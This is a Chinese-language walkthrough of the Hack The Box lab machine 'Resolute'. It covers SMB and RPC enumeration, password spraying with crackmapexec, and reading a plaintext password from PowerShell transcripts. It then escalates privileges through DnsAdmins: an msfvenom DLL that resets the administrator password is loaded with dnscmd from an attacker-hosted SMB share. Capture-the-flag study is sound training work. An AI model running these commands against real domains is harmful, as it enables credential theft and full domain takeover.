HTB-Resolute
靶机ip:10.10.10.169
知识点
- 密码喷洒
- 利用DnsAdmins提权
信息收集
nmap扫描
拿nmap
扫一下
nmap -sS -sV -sC 10.10.10.169
分析发现有DNS
服务、kerberos
服务、ldap
服务、smb
服务,域名为megabank.local
SMB
简单测试一下
smbclient -L //10.10.10.169
匿名登陆成功但是没什么有用的信息
ldap
ldapsearch -H ldap://10.10.10.169:389 -x -s base -b "" namingcontexts
也没啥有用信息
RPC
利用RPC远程过程调用枚举用户
rpcclient -U "" -N 10.10.10.169
枚举用户
enumdomusers
显示用户详细列表信息
querydispinfo
找到用户名密码:marko : Welcome123!
尝试rpcclient
和smbclient
登录
smbclient -U marko -L //10.10.10.169
rpcclient -U marko -N 10.10.10.169
都失败了。
密码喷洒
既然marko
用户登录不上,不妨拿这个密码去试试其他的用户,利用crackmapexec
工具尝试密码喷洒攻击
先将之前通过rpcclient
的enumdomusers
命令拿到的用户名列表保存为users
写个python
脚本将其提取到users.txt
中
1 | # 打开uusers.txt文件进行读取 |
使用crackmapexec
进行密码喷洒
crackmapexec smb 10.10.10.169 -u ./users.txt -p Welcome123!
发现melanie
用户可以登录,使用evil-winrm
登录
evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!
在Desktop
上找到user.txt
AD域提权
BloodHound信息搜集
将SharpHound.exe
传上去运行
将结果zip
下载下来,拿bloodhoun
分析
点击Find Shortest Paths to Domain Admins
后,发现当前用户没有什么明显利用的点,但是发现在这个域中还有一个ryan
用户,但是不知道密码,只能从当前melanie
用户入手了
查看Powershell日志文件获得用户名密码
查找可疑文件时,在C:/
目录下运行ls -force
命令后发现如下结果:
其中PSTranscripts
有点可疑,该英文直译是PS传输脚本
,仔细查看一下这个目录
在C:\PSTranscripts\20191203
目录下找到PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
文件,该文件可能是Powershell
的日志之类的文件,查看一下
这里貌似是ryan
用户的用户名和密码,尝试登陆下
evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'
登录成功
利用DnsAdmins提权
在桌面发现note.txt
文件,内容如下:
翻译过来就是
发送给团队的电子邮件:
- 由于更改冻结,任何系统更改(除了对管理员帐户的更改)都将在1分钟内自动恢复
在查看bloodhound
的过程中发现下面情况:
发现ryan
用户属于contractors
组,而contractors
组又属于dnsadmins
组,所以ryan
用户属于dnsadmins
组
就可以利用 DnsAdmins
权限进行AD
域提权
DNSAdmins
组的成员可以访问网络DNS
信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。dnsadmins 组的成员可用于通过
dll
注入将权限提升到管理员。
首先使用msf
生成dll
文件,将dll
文件传到机器上
msfvenom -p windows/x64/exec cmd='net user administrator abc123! /domain' -f dll > evil.dll
因为正常upload
传文件会被杀掉,这里考虑使用smb
传文件
python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./
在靶机上的ps
里头执行
cmd /c dnscmd 127.0.0.1 /config /serverlevelplugindll \\10.10.14.28\share\evil.dll
接着执行如下命令重启dns
服务
1 | sc.exe stop dns |
此时,之前利用python
起的smbserver
服务会收到回显
最后利用psexec.py
登录,输入密码
python3 /usr/share/doc/python3-impacket/examples/psexec.py megabank.local/administrator@10.10.10.169
最后在Administrator
的Desktop
找到root.txt